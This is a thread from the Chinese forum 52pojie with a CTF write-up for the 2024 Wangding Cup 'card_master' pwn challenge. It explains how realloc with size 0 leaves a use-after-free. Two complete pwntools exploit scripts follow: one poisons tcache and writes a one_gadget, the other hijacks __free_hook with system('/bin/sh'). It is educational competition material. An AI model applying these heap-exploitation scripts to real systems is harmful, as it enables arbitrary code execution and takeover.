吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2012|回复: 28
收起左侧

[CTF] 2024网鼎杯半决WP

  [复制链接]
inkey 发表于 2024-11-28 09:26
本帖最后由 inkey 于 2024-11-28 09:28 编辑

card_master

网鼎半决赛的一道pwn题

浅逆一下

image-20241127145112800.png

程序模拟的是一套扑克牌,可以随机洗牌打乱。

set功能可以设置扑克牌有几个花色,每个花色有几张牌等。

case 3 是show功能,可以打印出设置的卡牌参数,

shuffle是随机打乱牌序(洗牌)。

show_card则是展示出所有手牌。

其中存储牌参数的结构体如下

00000000 struct struct_a1 // sizeof=0x28
00000000 {
00000000     _DWORD suit_size;
00000004     _DWORD card_num;
00000008     _QWORD shuffle_times;
00000010     _BYTE symble[16];
00000020     _QWORD card;
00000028 };

漏洞点

在set功能中,我们可以设置牌的花色个数和每个花色的牌数,还可以自定义花色的输出(默认是♥♠♦♣)。

  if ( *a1->symble == byte_202010 )
    v5 = malloc(4 * a1->suit_size);
  else
    v5 = realloc(*a1->symble, 4 * a1->suit_size);

  if ( v5 )
  {
    *a1->symble = v5;
    printf("new suite set:");
    return read(0, *a1->symble, 4 * a1->suit_size);
  }

但symble是默认时,程序会调用malloc分配一块内存存储我们自定义的花色。第二次修改时就是调用realloc分配内存。

下方有一处判断if ( v5 ),但成功分配内存时,就更新结构体的symble指针,并读入数据。

回到realloc,查阅下源码,如下

void *
__libc_realloc (void *oldmem, size_t bytes)
{
  mstate ar_ptr;
  INTERNAL_SIZE_T nb;         /* padded request size */

  void *newp;             /* chunk to return */

  void *(*hook) (void *, size_t, const void *) =
    atomic_forced_read (__realloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));

#if REALLOC_ZERO_BYTES_FREES
  if (bytes == 0 && oldmem != NULL)
    {
      __libc_free (oldmem); return 0; // 调用了free
    }
#endif

  /* realloc of null is supposed to be same as malloc */
  if (oldmem == 0)
    return __libc_malloc (bytes);

  /* chunk corresponding to oldmem */
  const mchunkptr oldp = mem2chunk (oldmem);
  /* its size */
  const INTERNAL_SIZE_T oldsize = chunksize (oldp);

  if (chunk_is_mmapped (oldp))
    ar_ptr = NULL;
  else
    {
      MAYBE_INIT_TCACHE ();
      ar_ptr = arena_for_chunk (oldp);
    }

  /* Little security check which won't hurt performance: the allocator
     never wrapps around at the end of the address space.  Therefore
     we can exclude some size values which might appear here by
     accident or by "design" from some intruder.  We need to bypass
     this check for dumped fake mmap chunks from the old main arena
     because the new malloc may provide additional alignment.  */
  if ((__builtin_expect ((uintptr_t) oldp > (uintptr_t) -oldsize, 0)
       || __builtin_expect (misaligned_chunk (oldp), 0))
      && !DUMPED_MAIN_ARENA_CHUNK (oldp))
      malloc_printerr ("realloc(): invalid pointer");

  checked_request2size (bytes, nb);

  if (chunk_is_mmapped (oldp))
    //本程序用不到mmapped的内存,故省略

  if (SINGLE_THREAD_P) //单线程
    {
      newp = _int_realloc (ar_ptr, oldp, oldsize, nb); //调用_int_realloc,也是函数的主逻辑所在
      assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
              ar_ptr == arena_for_chunk (mem2chunk (newp)));

      return newp;
    }

  //本程序并非多线程,故省略
}
libc_hidden_def (__libc_realloc)

看起来很复杂(),主要逻辑就是如果传入的newsize不为0,就调用_int_realloc,为0就调用__libc_free,并返回0。

_int_realloc的主要逻辑就是判断oldsize和newsize的大小关系,然后进行malloc,memcpy,free。

故,我们传入的suit_size为0的话,程序相当于free(a1->symble),且因为v5为0,并不会进入到下面的*a1->symble = v5;,会产生uaf漏洞。

构造payload

由于程序只有在symble是默认的时候才会调用malloc,所以需要malloc的时候必须先调用一次init恢复默认。

先是常规的uaf泄露地址

add(0x10, 1, 1, b'\x80')  # malloc

add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
ru(b'suit chara set:')
heap_base = u64_ex(ru(b'\x0a', drop=True)) - 0x640
log_heap_base_addr(heap_base)

sla(input_after_this, b'1')

add(0x200, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)

由于在malloc一次后,使用的是realloc,所以通过修改tcache的next指针实现任意分配需要一点手法。

正常来说,uaf实现任意地址分配,首先构造A->B->A的链条,先malloc,分配到A,修改next,使链表变成B->A->C,C就是想要分配到的地址。

在本题中,如果我们使用malloc分配到A,那么后续都是realloc,比较难以继续利用。因此我们选择利用init里面的

  for ( i = 0; i <= 3; ++i )
  {
    v0 = (v4[4] + 8LL * i);
    *v0 = malloc(0xD0uLL);
    for ( j = 0; j <= 12; ++j )
    {
      *(*(8LL * i + v4[4]) + 16LL * j) = i;
      *(*(8LL * i + v4[4]) + 16LL * j + 8) = j + 1;
    }
  }

*v0 = malloc(0xD0uLL);,先伪造一个链表,让tcache里面有4个chunk,这样init后,剩下我们想要分配到的地址,这时候再set,malloc到的就是我们想分配到的那个地址了。!
image-20241128092300960.png
image-20241128092325510.png
image-20241128092332880.png

劫持show函数,写入one_gadget即可get shell

贴一个exp

#!/usr/bin/env python3
from pwncli import *
from ctypes import *

rand = cdll.LoadLibrary('./libc.so.6')
rand.srand(0xDEADBEEF)

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = ''
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./cardmaster')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./cardmaster')
cmd = '''
    directory /mnt/f/Documents/ctf/glibc/glibc-2.27/malloc
     b *$rebase(0xAD8)
    # b *$rebase(0xC1A)
    # b *$rebase(0xC5F)
    # new
    b *$rebase(0x1231)
    # malloc
    b *$rebase(0x1218)
    # realloc
    b *$rebase(0x137B)
    # read
    b *$rebase(0xD87)
    # show
    # b *$rebase(0x10B3)
    # show_card
    b *$rebase(0x1144)
    # ret
    # b *$rebase(0xF80)
    # b *$rebase(0x105D)
    # b *$rebase(0xFB7)
    # mov to stack
    b *$rebase(0xB10)
    c
'''

input_after_this = b'>>'

def add(size, range_, level, data):
    sla(input_after_this, b'2')
    sla(b'suit count:', str(size))
    sla(b'digit range 1 - ?', str(range_))
    sla(b'randomize level:', str(level))
    if size != 0:
        sa(b'new suite set:', data)

def dele(idx):
    sla(input_after_this, b'2')
    sla(b'index', str(idx))

def edit(idx, data):
    sla(input_after_this, b'3')
    sla(b'index', str(idx))
    sla(b'', data)

def show():
    sla(input_after_this, b'3')

def shuffle():
    sla(input_after_this, b'4')

def show_card():
    sla(input_after_this, b'5')

key = '♥♠♦♣'

add(0x10, 1, 1, b'\x80')  # malloc

add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
ru(b'suit chara set:')
heap_base = u64_ex(ru(b'\x0a', drop=True)) - 0x640
log_heap_base_addr(heap_base)

sla(input_after_this, b'1')

add(0x200, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)

fake_heap = heap_base + 0x1480
sla(input_after_this, b'1')
sla(input_after_this, b'1')
add(
    0x400,
    1,
    1,
    flat(
        {
            0x0: 0,
            0x80: fake_heap + 0x170,
            0x170: fake_heap + 0x250,
            0x250: heap_base + 0x104B8,
            0x330: heap_base + 0x100,
            0x410: heap_base + 0x100,
        },
        filler=b'\x00',
    ),
)  # malloc

sla(input_after_this, b'1')
add(0x34, 1, 1, b'\x00')  # malloc

add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')

add(0x34, 1, 1, p64_ex(fake_heap + 0x80))
sla(input_after_this, b'1')

launch_gdb(cmd)
add(0x34, 1, 1, p64_ex(libc_base + 0x10A38C))  # malloc
show()

ia()

你问我为什么没有决赛的wp?9分钟题就被秒了,这我打鸡毛(

免费评分

参与人数 10威望 +1 吾爱币 +27 热心值 +8 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xiiye + 1 热心回复!
bingshuir + 1 + 1 热心回复!
pales1gh + 1 谢谢@Thanks!
cn19491001 + 1 + 1 用心讨论,共获提升!
Loora1N + 1 用心讨论,共获提升!
ttonott + 1 + 1 用心讨论,共获提升!
为之奈何? + 1 + 1 我很赞同!
天使3号 + 1 用心讨论,共获提升!
tianjigege + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Loora1N 发表于 2024-11-28 15:18
本帖最后由 Loora1N 于 2024-11-28 17:12 编辑

这个题也可以常规劫持free_hook,贴个exp仅供参考
[Python] 纯文本查看 复制代码
from pwn import *

libc = ELF('./libc.so')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

io = process('./cardmaster')

def p():
    gdb.attach(proc.pidof(io)[0])

def set_card(suit,digit,random, huase):
    io.sendlineafter('>>','2')
    io.sendlineafter('suit count:',str(suit))
    io.sendlineafter('digit range 1 - ?',str(digit))
    io.sendlineafter('randomize level:',str(random))
    io.recvuntil('new suite set:')
    io.send(huase)
    
def set_card_null(suit,digit,random):
    io.sendlineafter('>>','2')
    io.sendlineafter('suit count:',str(suit))
    io.sendlineafter('digit range 1 - ?',str(digit))
    io.sendlineafter('randomize level:',str(random))

def get_info():
    io.sendlineafter('>>','3')

def shuffle():
    io.sendlineafter('>>','4')
    
def init():
    io.sendlineafter('>>','1')
    
# huase = b'\xe2\x99\xA5\xE2\x99\xA0\xE2\x99\xA6\xE2\x99\xA3'
huase1 = b'\xe2\x99\xA2\xE2\x99\xA0\xE2\x99\xA6\xE2\x99\xA3'
set_card(4,13,0,huase1)
set_card(0x110,13,0,huase1)

set_card_null(0,13,0)

get_info()
io.recvuntil('suit chara set:')
libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x3ebca0 
success("libcbase-->"+hex(libcbase))
free_hook = libcbase + libc.symbols['__free_hook']
success('free_hook-->'+hex(free_hook))
system = libcbase + libc.symbols['system']

init()
set_card(4,13,0,huase1)
set_card(8,13,0,huase1)
set_card_null(0,13,0)
set_card_null(0,13,0) #double free

payload = p64(free_hook)
set_card(8,13,0,payload)

payload = p32(free_hook&0xffffffff)
set_card(1,4,0,payload)
init()

payload = p64(system)
set_card(8,13,0,payload)

init()
set_card(4,1,0,'/bin/sh\x00')
set_card_null(0,1,0)


io.interactive()

免费评分

参与人数 1吾爱币 +10 热心值 +1 收起 理由
Hmily + 10 + 1 用心讨论,共获提升!

查看全部评分

天使3号 发表于 2024-11-28 10:58
kris065 发表于 2024-11-28 12:15
lxxfhtd 发表于 2024-11-28 12:44
谢谢分享
kuikai 发表于 2024-11-28 12:46
不明觉厉
Xiaosesi 发表于 2024-11-28 13:56
感谢分享
purewin 发表于 2024-11-28 15:41
Loora1N 发表于 2024-11-28 15:18
这个题也可以常规劫持free_hook,贴个exp仅供参考
[mw_shl_code=python,true]from pwn import *

学到了!
xin1you1di1 发表于 2024-11-28 16:08
有点复杂
b7521 发表于 2024-11-28 16:10
牛啊老板
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 20:54

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表